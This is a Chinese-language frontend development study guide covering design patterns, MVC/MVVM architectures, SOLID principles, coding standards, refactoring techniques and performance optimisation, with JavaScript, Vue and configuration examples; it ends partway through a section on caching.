桥接模式(Bridge Pattern)将抽象部分与实现部分分离,使它们都可以独立地变化。

代码实现

javascript 复制代码
// 实现部分
class Renderer {
  renderCircle(radius) { throw new Error('抽象方法'); }
}

class CanvasRenderer extends Renderer {
  renderCircle(radius) {
    return `Canvas 绘制半径为${radius}的圆`;
  }
}

class SVGRenderer extends Renderer {
  renderCircle(radius) {
    return `SVG 绘制半径为${radius}的圆`;
  }
}

// 抽象部分
class Shape {
  constructor(renderer) {
    this.renderer = renderer;
  }
  draw() { throw new Error('抽象方法'); }
}

class Circle extends Shape {
  constructor(renderer, radius) {
    super(renderer);
    this.radius = radius;
  }
  draw() {
    console.log(this.renderer.renderCircle(this.radius));
  }
}

// 使用
const canvasCircle = new Circle(new CanvasRenderer(), 10);
const svgCircle = new Circle(new SVGRenderer(), 20);

canvasCircle.draw(); // Canvas 绘制半径为10的圆
svgCircle.draw();     // SVG 绘制半径为20的圆

二、前端架构设计

25. 前端架构 / 前端架构设计

定义

前端架构是对前端应用的整体结构设计,包括代码组织、模块划分、技术选型、数据流管理等方面。

架构演进

阶段 特点 代表技术
传统多页应用 服务端渲染、页面刷新 JSP/PHP/ASP
AJAX 时代 局部刷新、前后端分离雏形 jQuery + AJAX
单页应用(SPA) 前端路由、组件化 Angular/React/Vue
组件化时代 细粒度组件、状态管理 React/Vue + Redux/Vuex
微前端 多团队协作、独立部署 qiankun/Micro App

架构设计原则

  1. 单一职责:每个模块/组件只负责一个功能
  2. 高内聚低耦合:相关功能集中,不相关功能隔离
  3. 可复用性:组件/工具可在多处使用
  4. 可扩展性:新增功能不影响现有架构
  5. 可维护性:代码结构清晰、易于理解和修改

典型前端项目架构

bash 复制代码
src/
├── api/              # API 请求层
│   ├── modules/      # 按业务模块划分
│   └── index.js      # axios 实例配置
├── assets/           # 静态资源
├── components/       # 公共组件
│   ├── common/       # 通用组件
│   └── business/     # 业务组件
├── hooks/            # 自定义 Hooks
├── layouts/          # 布局组件
├── pages/            # 页面组件
│   ├── Home/
│   └── Login/
├── router/           # 路由配置
├── store/            # 状态管理
│   ├── modules/      # 按模块划分
│   └── index.js
├── styles/           # 全局样式
│   ├── variables/    # 变量
│   └── mixins/       # 混合
├── utils/            # 工具函数
├── types/            # TypeScript 类型
└── main.js           # 入口文件

26. 如何对前端项目进行代码的组织与架构设计?

问题拆解

维度 考虑因素 方案
代码组织 项目规模、团队人数、技术栈 按功能/按类型分层
状态管理 数据复杂度、组件层级 局部状态 / Vuex / Redux / 原子化
路由设计 页面数量、嵌套层级、权限控制 按路由分模块
API 管理 接口数量、复用程度 按业务模块划分
组件设计 复用性、独立性 公共组件 / 业务组件分离

按功能分模块(推荐)

bash 复制代码
src/
├── modules/
│   ├── auth/           # 认证模块
│   │   ├── components/
│   │   ├── pages/
│   │   ├── store/
│   │   ├── api/
│   │   └── routes.js
│   ├── user/           # 用户模块
│   │   ├── components/
│   │   ├── pages/
│   │   ├── store/
│   │   ├── api/
│   │   └── routes.js
│   └── order/          # 订单模块
│       ├── components/
│       ├── pages/
│       ├── store/
│       ├── api/
│       └── routes.js
├── shared/             # 共享资源
│   ├── components/
│   ├── hooks/
│   ├── utils/
│   └── styles/
└── app.js

技术选型建议

  1. 小型项目:Vue/React + 组件库 + 简单状态
  2. 中大型项目:Vue/React + Vuex/Redux + TypeScript
  3. 微前端:qiankun + 独立子应用
  4. SSR:Nuxt.js / Next.js

27. MVC 架构

定义

MVC(Model-View-Controller)将应用分为三个部分:

  • Model(模型):数据和业务逻辑
  • View(视图):用户界面
  • Controller(控制器):处理用户输入,更新 Model 和 View

原理

用户操作 View → Controller 接收输入 → 更新 Model → Model 通知 View 更新

代码示例

javascript 复制代码
// Model
class TodoModel {
  constructor() {
    this.todos = [];
    this.listeners = [];
  }
  
  addTodo(text) {
    this.todos.push({ text, done: false });
    this.notify();
  }
  
  subscribe(listener) {
    this.listeners.push(listener);
  }
  
  notify() {
    this.listeners.forEach(l => l(this.todos));
  }
}

// View
class TodoView {
  render(todos) {
    const html = todos.map(t => 
      `<li>${t.done ? '✅' : '⬜'} ${t.text}</li>`
    ).join('');
    document.getElementById('todo-list').innerHTML = html;
  }
}

// Controller
class TodoController {
  constructor(model, view) {
    this.model = model;
    this.view = view;
    this.model.subscribe(todos => this.view.render(todos));
  }
  
  addTodo(text) {
    this.model.addTodo(text);
  }
}

// 使用
const model = new TodoModel();
const view = new TodoView();
const controller = new TodoController(model, view);
controller.addTodo('学习 MVC');
controller.addTodo('学习设计模式');

28. MVP 架构

定义

MVP(Model-View-Presenter)中 Presenter 充当 View 和 Model 的中间人,View 不直接与 Model 通信。

与 MVC 的区别

  • MVC 中 View 可以直接观察 Model
  • MVP 中 View 和 Model 完全隔离,通过 Presenter 交互
  • Presenter 持有 View 的引用,主动更新 View

代码示例

javascript 复制代码
// View(被动)
class TodoView {
  constructor(presenter) {
    this.presenter = presenter;
    this.bindEvents();
  }
  
  bindEvents() {
    document.getElementById('add-btn').addEventListener('click', () => {
      const text = document.getElementById('input').value;
      this.presenter.addTodo(text);
    });
  }
  
  render(todos) {
    document.getElementById('todo-list').innerHTML = todos
      .map(t => `<li>${t.text}</li>`)
      .join('');
  }
}

// Presenter
class TodoPresenter {
  constructor(model, view) {
    this.model = model;
    this.view = view;
    this.model.subscribe(todos => this.view.render(todos));
  }
  
  addTodo(text) {
    this.model.addTodo(text);
  }
}

29. MVVM 架构

定义

MVVM(Model-View-ViewModel)通过 ViewModel 实现 Model 和 View 的双向数据绑定,View 的变化自动反映到 Model,反之亦然。

原理

  • 双向数据绑定:View ↔ ViewModel ↔ Model
  • 数据驱动:无需手动操作 DOM,数据变化自动更新视图

MVVM 实现

javascript 复制代码
// 简易 MVVM 实现
class MVVM {
  constructor(options) {
    this.$el = document.querySelector(options.el);
    this.$data = options.data;
    this.init();
  }
  
  init() {
    this.observe(this.$data);
    this.compile(this.$el);
  }
  
  // 数据劫持
  observe(data) {
    Object.keys(data).forEach(key => {
      this.defineReactive(data, key, data[key]);
    });
  }
  
  defineReactive(obj, key, value) {
    const dep = [];
    Object.defineProperty(obj, key, {
      get() {
        if (MVVM.target && !dep.includes(MVVM.target)) {
          dep.push(MVVM.target);
        }
        return value;
      },
      set(newVal) {
        if (newVal !== value) {
          value = newVal;
          dep.forEach(watcher => watcher());
        }
      }
    });
  }
  
  // 编译模板
  compile(el) {
    const nodes = el.childNodes;
    nodes.forEach(node => {
      if (node.nodeType === 1) { // 元素节点
        const text = node.textContent;
        const matches = text.match(/\{\{(.+?)\}\}/);
        if (matches) {
          const key = matches[1].trim();
          new Watcher(this, node, key);
        }
        this.compile(node);
      }
    });
  }
}

class Watcher {
  constructor(vm, node, key) {
    this.vm = vm;
    this.node = node;
    this.key = key;
    this.update();
  }
  
  update() {
    MVVM.target = this.update.bind(this);
    this.node.textContent = this.vm.$data[this.key];
    MVVM.target = null;
  }
}

// 使用
const vm = new MVVM({
  el: '#app',
  data: { message: 'Hello MVVM!' }
});

30. MVC 与 MVVM 的区别

维度 MVC MVVM
数据绑定 单向/手动 双向/自动
View 与 Model 可通过 Controller 间接交互 完全隔离,通过 ViewModel 绑定
DOM 操作 需要手动操作 框架自动处理
适用框架 Backbone.js、Ruby on Rails Vue.js、Angular、WPF
开发效率 较低,需手动同步 较高,数据驱动

选择策略

  • 简单项目/服务端渲染 → MVC
  • 富交互/数据驱动应用 → MVVM

31. 前端分层架构

分层设计

层次 职责 示例
展示层(View) UI 渲染、用户交互 React/Vue 组件
业务逻辑层(Service) 业务规则、数据处理 服务类、工具函数
数据访问层(API/Repository) 数据请求、数据转换 Axios 封装、API 模块
状态管理层(Store) 全局状态管理 Vuex/Redux

代码组织

bash 复制代码
src/
├── views/          # 展示层:页面组件
├── components/     # 展示层:可复用组件
├── services/       # 业务逻辑层
├── repositories/   # 数据访问层
├── stores/         # 状态管理层
└── utils/          # 工具层

优点

  • 关注点分离:各层职责明确
  • 可测试性:每层可独立测试
  • 可替换性:替换某层不影响其他层

32. 前端模块化

定义

将代码拆分为独立的模块,每个模块封装特定的功能。

模块化规范演进

规范 环境 特点
IIFE 浏览器早期 立即执行函数,避免全局污染
AMD 浏览器 require.js,异步加载
CommonJS Node.js require/module.exports,同步加载
ES Modules 现代浏览器 import/export,静态分析

代码示例

javascript 复制代码
// ES Modules
// math.js
export const PI = 3.14159;
export function add(a, b) { return a + b; }
export default class Calculator {}

// main.js
import Calculator, { PI, add } from './math.js';

// CommonJS
// math.js
module.exports = { PI: 3.14159, add: (a, b) => a + b };

// main.js
const { PI, add } = require('./math');

33. 前端组件化 / 组件化开发

定义

组件化是将 UI 拆分为独立、可复用的单元,每个组件包含自己的模板、样式和逻辑。

组件设计原则

原则 说明 示例
单一职责 一个组件只做一件事 Button 只负责按钮点击
高内聚 相关功能集中 表单组件包含验证逻辑
低耦合 组件间依赖最小化 通过 Props 传递数据
可复用 可在多处使用 通用 Input 组件
可组合 组件可以嵌套组合 Form > Input + Button

Vue 组件示例

html 复制代码
<template>
  <button 
    :class="['btn', `btn-${type}`, { 'btn-disabled': disabled }]"
    :disabled="disabled"
    @click="handleClick"
  >
    <slot></slot>
  </button>
</template>

<script>
export default {
  name: 'BaseButton',
  props: {
    type: { type: String, default: 'default' },
    disabled: { type: Boolean, default: false }
  },
  emits: ['click'],
  methods: {
    handleClick(e) {
      if (!this.disabled) {
        this.$emit('click', e);
      }
    }
  }
}
</script>

三、组件设计原则

34. 组件设计原则概述

组件设计遵循 SOLID 原则和迪米特法则,这些原则不仅适用于面向对象编程,也适用于前端组件设计。


35. 单一职责原则(SRP)

定义

一个组件/模块只负责一项职责,只有一种引起它变化的原因。

原理

职责过多会导致组件臃肿、难以维护和测试。拆分职责后每个组件更专注、更易于复用。

示例

javascript 复制代码
// 违反 SRP:一个组件做太多事
class UserComponent {
  loadUserData() { /* 加载数据 */ }
  renderUser() { /* 渲染用户信息 */ }
  validateForm() { /* 验证表单 */ }
  submitForm() { /* 提交表单 */ }
  sendEmail() { /* 发送邮件 */ }
}

// 符合 SRP:拆分为多个组件
class UserLoader { loadUserData() { /* 加载数据 */ } }
class UserView { renderUser() { /* 渲染用户信息 */ } }
class FormValidator { validateForm() { /* 验证表单 */ } }
class FormSubmitter { submitForm() { /* 提交表单 */ } }
class EmailService { sendEmail() { /* 发送邮件 */ } }

常见误区

  • 过度拆分导致碎片化
  • 职责边界模糊

36. 开闭原则(OCP)

定义

对扩展开放,对修改关闭。软件实体应该可以扩展,但不应该被修改。

示例

javascript 复制代码
// 违反 OCP:新增类型需要修改源码
function getDiscount(type, price) {
  if (type === 'vip') return price * 0.9;
  if (type === 'svip') return price * 0.8;
  if (type === 'vvip') return price * 0.7; // 每次新增都要修改
  return price;
}

// 符合 OCP:使用策略模式扩展
const discounts = {
  vip: (price) => price * 0.9,
  svip: (price) => price * 0.8,
};

function getDiscount(type, price) {
  const strategy = discounts[type];
  return strategy ? strategy(price) : price;
}

// 扩展无需修改原代码
discounts.vvip = (price) => price * 0.7;

37. 里氏替换原则(LSP)

定义

子类对象能够替换其父类对象,且程序逻辑不变。

示例

javascript 复制代码
// 违反 LSP:子类改变了父类行为
class Bird {
  fly() { console.log('飞'); }
}

class Penguin extends Bird {
  fly() { throw new Error('企鹅不会飞'); } // 改变了父类行为
}

// 符合 LSP
class Bird {
  move() { console.log('移动'); }
}

class Sparrow extends Bird {
  move() { this.fly(); }
  fly() { console.log('飞'); }
}

class Penguin extends Bird {
  move() { this.swim(); }
  swim() { console.log('游泳'); }
}

38. 接口隔离原则(ISP)

定义

客户端不应依赖它不需要的接口。应该将大接口拆分为小接口。

示例

javascript 复制代码
// 违反 ISP:一个大接口
class Worker {
  work() {}
  eat() {}
  sleep() {}
}

class Robot implements Worker {
  work() { /* 工作 */ }
  eat() { throw new Error('机器人不需要吃饭'); }
  sleep() { throw new Error('机器人不需要睡觉'); }
}

// 符合 ISP:拆分接口
class Workable { work() {} }
class Eatable { eat() {} }
class Sleepable { sleep() {} }

class Robot implements Workable {
  work() { /* 工作 */ }
}

class Human implements Workable, Eatable, Sleepable {
  work() { /* 工作 */ }
  eat() { /* 吃饭 */ }
  sleep() { /* 睡觉 */ }
}

39. 依赖倒置原则(DIP)

定义

高层模块不应依赖低层模块,二者都应依赖抽象。抽象不应依赖细节,细节应依赖抽象。

示例

javascript 复制代码
// 违反 DIP:高层直接依赖低层
class OrderService {
  constructor() {
    this.db = new MySQLDatabase(); // 直接依赖具体实现
  }
  
  saveOrder(order) {
    this.db.connect();
    this.db.save(order);
  }
}

// 符合 DIP:依赖抽象
class OrderService {
  constructor(database) {
    this.db = database; // 依赖抽象接口
  }
  
  saveOrder(order) {
    this.db.connect();
    this.db.save(order);
  }
}

// 使用时注入具体实现
const mysqlService = new OrderService(new MySQLDatabase());
const mongoService = new OrderService(new MongoDBDatabase());

40. 迪米特法则(LOD)

定义

一个对象应该对其他对象有最少的了解,只与直接朋友通信。

示例

javascript 复制代码
// 违反 LOD:了解太多内部结构
class Company {
  getDepartments() { return [...]; }
}

class Department {
  getEmployees() { return [...]; }
}

// 不好:需要了解公司内部结构
function getEmployeeCount(company) {
  let count = 0;
  company.getDepartments().forEach(dept => {
    count += dept.getEmployees().length;
  });
  return count;
}

// 符合 LOD:封装内部结构
class Company {
  getEmployeeCount() {
    // 内部逻辑对外隐藏
    return this.departments.reduce((sum, dept) => 
      sum + dept.employees.length, 0
    );
  }
}

41. 组件复用性

设计原则

维度 建议
Props 设计 类型明确、有默认值、校验
插槽设计 使用 slot 提供扩展点
样式隔离 使用 BEM/CSS Modules/Scoped
事件设计 使用 emits 声明事件
文档完善 提供使用示例和 Props 说明

高复用组件示例

html 复制代码
<!-- 通用表格组件 -->
<template>
  <table class="data-table">
    <thead>
      <tr>
        <th v-for="col in columns" :key="col.key">{{ col.title }}</th>
      </tr>
    </thead>
    <tbody>
      <tr v-for="row in data" :key="row.id">
        <td v-for="col in columns" :key="col.key">
          <slot :name="col.key" :row="row" :value="row[col.key]">
            {{ row[col.key] }}
          </slot>
        </td>
      </tr>
    </tbody>
  </table>
</template>

<script>
export default {
  props: {
    columns: {
      type: Array,
      required: true,
      validator: cols => cols.every(c => c.key && c.title)
    },
    data: { type: Array, default: () => [] },
    loading: { type: Boolean, default: false }
  }
}
</script>

42. 组件扩展性

扩展方式

方式 说明 适用场景
Props 传入配置控制行为 控制组件展示
Slots 提供内容插槽 自定义组件内容
Events 暴露事件供外部监听 响应组件交互
Ref 暴露内部方法 需要程序化控制
继承/组合 包装或扩展组件 构建变体组件

代码示例

html 复制代码
<!-- 可扩展的卡片组件 -->
<template>
  <div :class="['card', `card-${size}`, { 'card-bordered': bordered }]">
    <!-- 头部扩展 -->
    <div v-if="$slots.header || title" class="card-header">
      <slot name="header">
        <h3>{{ title }}</h3>
      </slot>
    </div>
    
    <!-- 内容区 -->
    <div class="card-body">
      <slot></slot>
    </div>
    
    <!-- 底部扩展 -->
    <div v-if="$slots.footer" class="card-footer">
      <slot name="footer"></slot>
    </div>
  </div>
</template>

<script>
export default {
  props: {
    title: String,
    size: { type: String, default: 'medium', validator: v => ['small', 'medium', 'large'].includes(v) },
    bordered: Boolean
  }
}
</script>

43. 组件可维护性

原则

维度 建议
命名规范 组件名 PascalCase,事件/方法 camelCase
代码结构 统一模板结构:props → data → computed → methods
注释规范 公共组件写 JSDoc,复杂逻辑加注释
类型检查 使用 TypeScript 或 PropTypes
单元测试 核心逻辑和公共组件编写测试
样式管理 使用预处理器、CSS Modules、设计变量

44. 如何设计一个高可复用的表单组件?

问题拆解

维度 需求
表单字段 支持多种类型:input、select、textarea、checkbox 等
表单验证 支持多种规则:必填、长度、正则、异步验证
表单布局 支持横向/纵向布局、栅格布局
表单提交 统一提交、防抖、加载状态
表单状态 脏数据、提交状态、错误状态

实现方案

html 复制代码
<!-- 表单容器组件 -->
<template>
  <form @submit.prevent="handleSubmit">
    <div :class="['form', `form-${layout}`]">
      <slot :form="form"></slot>
    </div>
    <slot name="actions"></slot>
  </form>
</template>

<script>
export default {
  props: {
    model: { type: Object, required: true },
    rules: { type: Object, default: () => ({}) },
    layout: { type: String, default: 'vertical' }
  },
  data() {
    return {
      form: {
        values: { ...this.model },
        errors: {},
        touched: {},
        submitting: false
      }
    };
  },
  methods: {
    async validate(field) {
      const rule = this.rules[field];
      if (!rule) return true;
      
      const value = this.form.values[field];
      for (const validator of rule) {
        const error = await validator(value, this.form.values);
        if (error) {
          this.form.errors[field] = error;
          return false;
        }
      }
      delete this.form.errors[field];
      return true;
    },
    
    async handleSubmit() {
      const fields = Object.keys(this.rules);
      let valid = true;
      
      for (const field of fields) {
        if (!(await this.validate(field))) {
          valid = false;
        }
      }
      
      if (valid) {
        this.form.submitting = true;
        try {
          await this.$emit('submit', this.form.values);
        } finally {
          this.form.submitting = false;
        }
      }
    }
  }
}
</script>

<!-- 表单项组件 -->
<template>
  <div class="form-item" :class="{ 'form-item-error': form.errors[name] }">
    <label v-if="label">{{ label }}</label>
    <slot></slot>
    <span v-if="form.errors[name]" class="error-msg">{{ form.errors[name] }}</span>
  </div>
</template>

<!-- 使用 -->
<BaseForm :model="formData" :rules="rules" @submit="onSubmit">
  <template #default="{ form }">
    <FormItem label="用户名" name="username" :form="form">
      <input v-model="form.values.username" @blur="form.touched.username = true" />
    </FormItem>
    
    <FormItem label="邮箱" name="email" :form="form">
      <input v-model="form.values.email" @blur="form.validate('email')" />
    </FormItem>
  </template>
  
  <template #actions>
    <button type="submit" :disabled="form.submitting">提交</button>
  </template>
</BaseForm>

四、代码规范与最佳实践

45. 代码规范 / 编码规范

定义

代码规范是一组约定,用于统一团队的编码风格,提高代码可读性和可维护性。

规范内容

维度 规范内容
命名规范 变量/函数/组件/文件命名约定
格式规范 缩进、换行、空格、括号
注释规范 JSDoc、行注释、块注释
文件组织 导入顺序、模块导出
最佳实践 避免的写法、推荐的写法

46. 命名规范

javascript 复制代码
// 变量/函数:camelCase
const userName = '张三';
function getUserInfo() {}

// 常量:UPPER_SNAKE_CASE
const MAX_RETRY_COUNT = 3;
const API_BASE_URL = '/api';

// 类/组件:PascalCase
class UserService {}
const UserProfile = () => <div>...</div>;

// 私有变量:_ 前缀
const _privateData = {};

// 布尔值:is/has/should 前缀
const isLoading = true;
const hasPermission = false;
const shouldUpdate = true;

// 事件处理:handle 前缀
function handleClick() {}
function handleSubmit() {}

// 回调函数:on 前缀
function onComplete() {}
function onError() {}

// 文件命名
// 组件:PascalCase.vue / .jsx
// 工具:camelCase.js
// 常量:UPPER_CASE.js

47. 注释规范

javascript 复制代码
/**
 * 格式化日期
 * @param {Date|string|number} date - 日期对象或时间戳
 * @param {string} [format='YYYY-MM-DD'] - 格式化模板
 * @returns {string} 格式化后的日期字符串
 * @example
 * formatDate(new Date(), 'YYYY/MM/DD') // '2024/01/01'
 */
function formatDate(date, format = 'YYYY-MM-DD') {
  // 处理时间戳
  if (typeof date === 'number') {
    date = new Date(date);
  }
  
  // TODO: 支持更多格式化选项
  
  // HACK: 临时方案,需要后续优化
  return format.replace('YYYY', date.getFullYear());
}

// FIXME: 这里有性能问题,需要优化
// NOTE: 这个改动是因为需求变更
// WARN: 注意这个边界情况

48. ESLint

定义

ESLint 是一个可配置的 JavaScript 代码检查工具。

配置示例

javascript 复制代码
// .eslintrc.js
module.exports = {
  root: true,
  env: { browser: true, es2021: true, node: true },
  extends: [
    'eslint:recommended',
    'plugin:vue/vue3-recommended',
    '@vue/typescript'
  ],
  parserOptions: {
    ecmaVersion: 'latest',
    parser: '@typescript-eslint/parser'
  },
  rules: {
    // 错误级别
    'no-console': process.env.NODE_ENV === 'production' ? 'error' : 'warn',
    'no-debugger': process.env.NODE_ENV === 'production' ? 'error' : 'off',
    
    // 风格规则
    'semi': ['error', 'always'],
    'quotes': ['error', 'single'],
    'indent': ['error', 2],
    
    // 最佳实践
    'eqeqeq': ['error', 'always'],
    'no-unused-vars': 'error',
    'prefer-const': 'error'
  }
};

49. Prettier

定义

Prettier 是一个代码格式化工具,自动统一代码风格。

配置示例

json 复制代码
// .prettierrc
{
  "semi": true,
  "singleQuote": true,
  "tabWidth": 2,
  "trailingComma": "es5",
  "printWidth": 100,
  "arrowParens": "avoid",
  "bracketSpacing": true
}

ESLint + Prettier 集成

json 复制代码
// package.json
{
  "scripts": {
    "lint": "eslint src --ext .js,.vue --fix",
    "format": "prettier --write src/**/*.{js,vue,css}"
  }
}

50. Git 提交规范

Conventional Commits 规范

xml 复制代码
<type>(<scope>): <subject>

<body>

<footer>

Type 类型

Type 说明
feat 新功能
fix Bug 修复
docs 文档变更
style 代码格式(不影响代码运行)
refactor 重构(既不是新功能也不是修复)
perf 性能优化
test 测试相关
chore 构建/工具变更
ci CI 配置变更

示例

diff 复制代码
feat(user): 添加用户登录功能

实现了基于 JWT 的用户登录验证
- 添加登录表单组件
- 添加登录 API 接口
- 添加 Token 存储逻辑

Closes #123

51. 代码审查(Code Review)

审查清单

维度 检查项
功能 是否满足需求、有无 Bug
设计 架构是否合理、是否过度设计
性能 有无性能问题、是否需要优化
安全 有无安全隐患(XSS、注入)
规范 是否遵循代码规范
测试 是否覆盖测试用例
文档 是否更新文档

52. 代码质量

衡量指标

指标 说明 工具
圈复杂度 代码路径复杂度 ESLint complexity
重复率 代码重复程度 SonarQube
测试覆盖率 测试覆盖的代码比例 Jest/Istanbul
技术债务 修复问题所需时间 SonarQube
代码异味 潜在问题代码 ESLint/SonarQube

五、重构技巧

53. 代码重构

定义

在不改变代码外部行为的前提下,改善代码的内部结构。

重构原则

  1. 红-绿-重构:先写测试(红)→ 实现功能(绿)→ 重构优化
  2. 小步重构:每次只做小改动,确保测试通过
  3. 频繁提交:每次重构后立即提交
  4. 保持测试通过:重构前后测试应全部通过

54. 重构技巧

技巧 说明 适用场景
提取函数 将代码块提取为独立函数 重复代码、过长函数
提取变量 将表达式结果赋给变量 复杂表达式、增加可读性
内联函数 将函数体替换为调用处 函数体过于简单
内联变量 直接使用表达式替代变量 临时变量
重命名 改进名称以增加可读性 命名不清晰
移动函数 将函数移到更合适的类/模块 函数归属不当
移动字段 将字段移到更合适的类 字段归属不当
封装字段 为字段提供 getter/setter 直接访问字段
封装集合 控制集合的访问和修改 暴露内部集合
引入断言 使用断言验证假设 调试、防御性编程

55. 提取函数

javascript 复制代码
// 重构前
function printOwing(invoice) {
  let outstanding = 0;
  console.log('***********************');
  console.log('**** Customer Owes ****');
  console.log('***********************');
  
  // 计算明细
  for (const item of invoice.items) {
    outstanding += item.amount;
  }
  
  // 打印明细
  console.log(`name: ${invoice.customer}`);
  console.log(`amount: ${outstanding}`);
}

// 重构后:提取函数
function printOwing(invoice) {
  printBanner();
  const outstanding = calculateOutstanding(invoice);
  printDetails(invoice, outstanding);
}

function printBanner() {
  console.log('***********************');
  console.log('**** Customer Owes ****');
  console.log('***********************');
}

function calculateOutstanding(invoice) {
  return invoice.items.reduce((sum, item) => sum + item.amount, 0);
}

function printDetails(invoice, outstanding) {
  console.log(`name: ${invoice.customer}`);
  console.log(`amount: ${outstanding}`);
}

56. 提取变量

javascript 复制代码
// 重构前
if (user.role === 'admin' && user.status === 'active' && user.permissions.includes('delete')) {
  // ...
}

// 重构后
const isAdmin = user.role === 'admin';
const isActive = user.status === 'active';
const canDelete = user.permissions.includes('delete');

if (isAdmin && isActive && canDelete) {
  // ...
}

57. 内联函数

javascript 复制代码
// 重构前
function getRating(driver) {
  return moreThanFiveLateDeliveries(driver) ? 2 : 1;
}

function moreThanFiveLateDeliveries(driver) {
  return driver.numberOfLateDeliveries > 5;
}

// 重构后
function getRating(driver) {
  return driver.numberOfLateDeliveries > 5 ? 2 : 1;
}

58. 封装字段

javascript 复制代码
// 重构前
class Person {
  constructor(name) {
    this.name = name;
  }
}

const p = new Person('张三');
p.name = ''; // 可以直接修改

// 重构后
class Person {
  #name;
  
  constructor(name) {
    this.setName(name);
  }
  
  getName() {
    return this.#name;
  }
  
  setName(value) {
    if (!value) throw new Error('name 不能为空');
    this.#name = value;
  }
}

59. 封装集合

javascript 复制代码
// 重构前
class Team {
  constructor() {
    this.members = [];
  }
}

const team = new Team();
team.members = []; // 可以直接替换整个集合

// 重构后
class Team {
  #members = [];
  
  getMembers() {
    return [...this.#members]; // 返回副本
  }
  
  addMember(member) {
    this.#members.push(member);
  }
  
  removeMember(member) {
    this.#members = this.#members.filter(m => m !== member);
  }
}

六、性能优化策略

60. 前端性能优化

优化维度

维度 优化方向
加载优化 减少资源体积、减少请求数量
执行优化 减少 JS 执行时间、优化算法
渲染优化 减少重排重绘、使用 GPU 加速
网络优化 使用 CDN、HTTP/2、缓存策略
图片优化 格式选择、懒加载、响应式图片
缓存优化 浏览器缓存、Service Worker
首屏优化 SSR/SSG、代码分割、预加载
白屏优化 骨架屏、内联关键 CSS

61. 加载优化

策略

策略 说明 实现
代码分割 按路由/组件拆分代码 Webpack splitChunks、React.lazy
资源压缩 减小文件体积 Terser、CSSNano
图片压缩 优化图片大小 WebP、AVIF、Tinypng
Gzip/Brotli 压缩传输内容 Nginx 配置
CDN 加速 就近获取资源 CDN 分发
按需加载 用时才加载 动态 import()、懒加载
预加载 提前加载资源 <link rel="preload">
预连接 提前建立连接 <link rel="preconnect">

代码示例

javascript 复制代码
// 路由懒加载
const Home = () => import('./pages/Home.vue');
const About = () => import('./pages/About.vue');

// React.lazy
const LazyComponent = React.lazy(() => import('./HeavyComponent'));

// 图片懒加载
<img loading="lazy" src="image.jpg" alt="图片" />

// 预加载关键资源
<link rel="preload" href="/fonts/main.woff2" as="font" crossorigin>
<link rel="preload" href="/css/critical.css" as="style">

// 预连接第三方域名
<link rel="preconnect" href="https://api.example.com">
<link rel="dns-prefetch" href="https://cdn.example.com">

62. 执行优化

策略

策略 说明
防抖/节流 减少高频事件触发
虚拟列表 只渲染可视区域
Web Worker 将计算移出主线程
避免强制同步布局 批量读写 DOM
减少闭包 减少内存占用
对象池 复用对象减少 GC

代码示例

javascript 复制代码
// 防抖
function debounce(fn, delay) {
  let timer = null;
  return function(...args) {
    clearTimeout(timer);
    timer = setTimeout(() => fn.apply(this, args), delay);
  };
}

// 节流
function throttle(fn, limit) {
  let inThrottle = false;
  return function(...args) {
    if (!inThrottle) {
      fn.apply(this, args);
      inThrottle = true;
      setTimeout(() => inThrottle = false, limit);
    }
  };
}

// 虚拟列表
function VirtualList({ items, itemHeight, visibleCount }) {
  const [scrollTop, setScrollTop] = useState(0);
  
  const startIndex = Math.floor(scrollTop / itemHeight);
  const endIndex = Math.min(startIndex + visibleCount, items.length);
  const visibleItems = items.slice(startIndex, endIndex);
  
  return (
    <div style={{ height: visibleCount * itemHeight, overflow: 'auto' }}
         onScroll={e => setScrollTop(e.target.scrollTop)}>
      <div style={{ height: items.length * itemHeight, position: 'relative' }}>
        {visibleItems.map((item, i) => (
          <div key={i} style={{ 
            position: 'absolute', 
            top: (startIndex + i) * itemHeight 
          }}>
            {item}
          </div>
        ))}
      </div>
    </div>
  );
}

// Web Worker
const worker = new Worker('worker.js');
worker.postMessage(data);
worker.onmessage = (e) => {
  console.log('计算结果:', e.data);
};

63. 渲染优化

策略

策略 说明
减少重排 批量修改样式、使用 transform/opacity
减少重绘 避免频繁修改可见性、颜色
使用 will-change 提示浏览器优化
CSS 含合成 使用 transform 代替 top/left
避免布局抖动 避免交替读写 DOM
使用 DocumentFragment 批量插入 DOM

代码示例

javascript 复制代码
// 好的做法:使用 transform
.element {
  transition: transform 0.3s;
}
.element:hover {
  transform: translateX(100px);
}

// 不好的做法:使用 top/left
.element {
  transition: left 0.3s;
}
.element:hover {
  left: 100px;
}

// 批量 DOM 操作
// 不好的做法
list.forEach(item => {
  const el = document.createElement('li');
  el.textContent = item;
  container.appendChild(el); // 多次触发重排
});

// 好的做法
const fragment = document.createDocumentFragment();
list.forEach(item => {
  const el = document.createElement('li');
  el.textContent = item;
  fragment.appendChild(el);
});
container.appendChild(fragment); // 只触发一次重排

// 避免布局抖动
// 不好的做法
div.style.width = '100px';
console.log(div.offsetWidth); // 强制同步布局
div.style.height = '200px';
console.log(div.offsetHeight); // 强制同步布局

// 好的做法
console.log(div.offsetWidth); // 先读取
div.style.width = '100px';    // 后写入
console.log(div.offsetHeight);
div.style.height = '200px';

64. 网络优化

策略

策略 说明
HTTP/2 多路复用、头部压缩
CDN 就近分发资源
资源合并 减少请求数(HTTP/1.1)
缓存策略 合理设置 Cache-Control
预请求 DNS 预解析、预连接

缓存策略

javascript 复制代码
// HTTP 缓存头
// 强缓存
Cache-Control: max-age=31536000, immutable // 一年,不验证
Cache-Control: max-age=3600                // 一小时

// 协商缓存
ETag: "abc123"                             // 文件指纹
Last-Modified: Wed, 21 Oct 2023 07:28:00 GMT

// Nginx 配置示例
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2)$ {
  expires 1y;
  add_header Cache-Control "public, immutable";
}

location / {
  add_header Cache-Control "no-cache";
}

65. 图片优化

策略

策略 说明
格式选择 WebP/AVIF 优先,PNG 用于透明,JPEG 用于照片
响应式图片 srcset + sizes 适配不同屏幕
懒加载 loading="lazy"
压缩 使用工具压缩图片
雪碧图 合并小图标
Base64 小图标内联

代码示例

html 复制代码
<!-- 响应式图片 -->
<img 
  srcset="small.jpg 480w, medium.jpg 800w, large.jpg 1200w"
  sizes="(max-width: 480px) 480px, (max-width: 800px) 800px, 1200px"
  src="medium.jpg"
  alt="响应式图片"
  loading="lazy"
>

<!-- 使用 picture 元素 -->
<picture>
  <source srcset="image.webp" type="image/webp">
  <source srcset="image.avif" type="image/avif">
  <img src="image.jpg" alt="图片">
</picture>

66. 缓存优化

浏览器缓存层次

缓存类型 位置 有效期
Service Worker 浏览器 持久化
